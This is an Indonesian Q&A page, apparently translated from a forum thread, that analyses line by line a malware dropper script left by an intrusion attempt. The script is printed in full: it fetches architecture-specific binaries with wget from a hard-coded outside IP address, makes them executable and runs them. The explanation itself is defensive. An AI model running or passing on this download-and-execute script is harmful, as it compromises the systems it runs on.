GNU/Linux >> Belajar Linux >  >> Linux

Apa yang dilakukan skrip bash ini? [Upaya Peretasan]

Baris demi baris:

#!/bin/sh

Menetapkan sh shell, mana saja, sebagai garis shebang. sh%20/tmp/ks dalam permintaan mengesampingkan ini, jadi baris ini diperlakukan sebagai komentar normal dan diabaikan.

u="asgknskjdgn"

Menyatakan nama sewenang-wenang, mungkin untuk menghindari bertabrakan dengan nama file lain. Saya tidak yakin mengapa mereka tidak hanya menggunakan mktemp , tapi mungkin itu tidak tersedia di semua platform.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Menghitung beberapa arsitektur CPU yang umum.

http_server="80.211.173.159"
http_port=80

Server yang memiliki exploit.

cd /tmp/||cd /var/

Mencoba mengubah direktori ke tempat di mana server web Anda mungkin dapat membuat file. Saya yakin SELinux akan membantu dalam hal ini, dengan menerapkan aturan yang jauh lebih ketat tentang apa yang dapat dilakukan server web daripada yang dilakukan oleh sistem file sendiri.

for name in $bin_names
    do

Untuk setiap arsitektur CPU…

    rm -rf $u

Menghapus program eksploit yang dicoba sebelumnya. Tidak perlu karena baris berikutnya, jadi bisa diabaikan.

    cp $SHELL $u

Menyalin eksekusi shell saat ini (/bin/sh ). Dapat diabaikan karena baris berikutnya.

    chmod 777 $u

Membuat semua orang memiliki akses penuh ke file baru. Ini seharusnya setelah wget perintah, yang merupakan tanda pemula skrip shell atau teknik penyesatan.

    >$u

Mengosongkan file. Percuma karena baris berikutnya.

    wget http://$http_server:$http_port/$name -O -> $u

Menimpa file dengan skrip eksploit untuk arsitektur ini. -O -> $u bisa ditulis -O - > $u (tanda hubung menunjukkan bahwa unduhan harus ditulis ke keluaran standar) yang setara dengan -O $u .

    ./$u $name

Jalankan skrip eksploit dengan arsitektur sebagai argumen pertama.

done

Mengakhiri putaran.

Sepertinya ini adalah skrip upaya eksploitasi yang sepele, mencoba eksploitasi yang diketahui terhadap berbagai platform CPU. Saya tidak tahu mengapa ini menimpa $u tiga kali, tetapi operasi tersebut bisa saja tetap dari iterasi skrip sebelumnya. Agaknya versi sebelumnya memiliki eksploit yang dikodekan dengan keras daripada disajikan secara dinamis - yang pertama lebih mudah tetapi hampir menjamin bahwa skrip akan menjadi kurang efektif dari waktu ke waktu karena bug ditambal.


wget adalah garis berbahaya utama.

for name in $bin_names bekerja melalui daftar platform dan untuk setiap platform membersihkan direktori sementara, menyalin shell, lalu membuatnya dapat diakses oleh semua orang.

Kemudian mengunduh file menggunakan wget dan kemudian mengeksekusinya menggunakan program shell yang baru saja disalin.

Skrip ini pada dasarnya mencoba mengunduh serangkaian executable atau skrip untuk setiap platform yang dapat dilakukan dan menggosoknya ke sistem Anda dengan harapan dapat membahayakan sistem Anda lebih lanjut.


Linux
  1. Apa yang Dilakukan 'exec {fd}/watchdog' Di Bash?

  2. Lewati Argumen Baris Perintah ke Skrip Bash?

  3. Apa Arti Ampersand Di Akhir Baris Skrip Shell?

  1. Tidak Dapat Memahami Script Ini. Bas?

  2. Apa yang dilakukan baris '!/bin/sh -e'?

  3. Baca baris demi baris dalam skrip bash

  1. menjalankan skrip php (fungsi php) di linux bash

  2. Apa arti set -e dalam skrip bash?

  3. Apa yang dilakukan skrip sh ini jika dijalankan?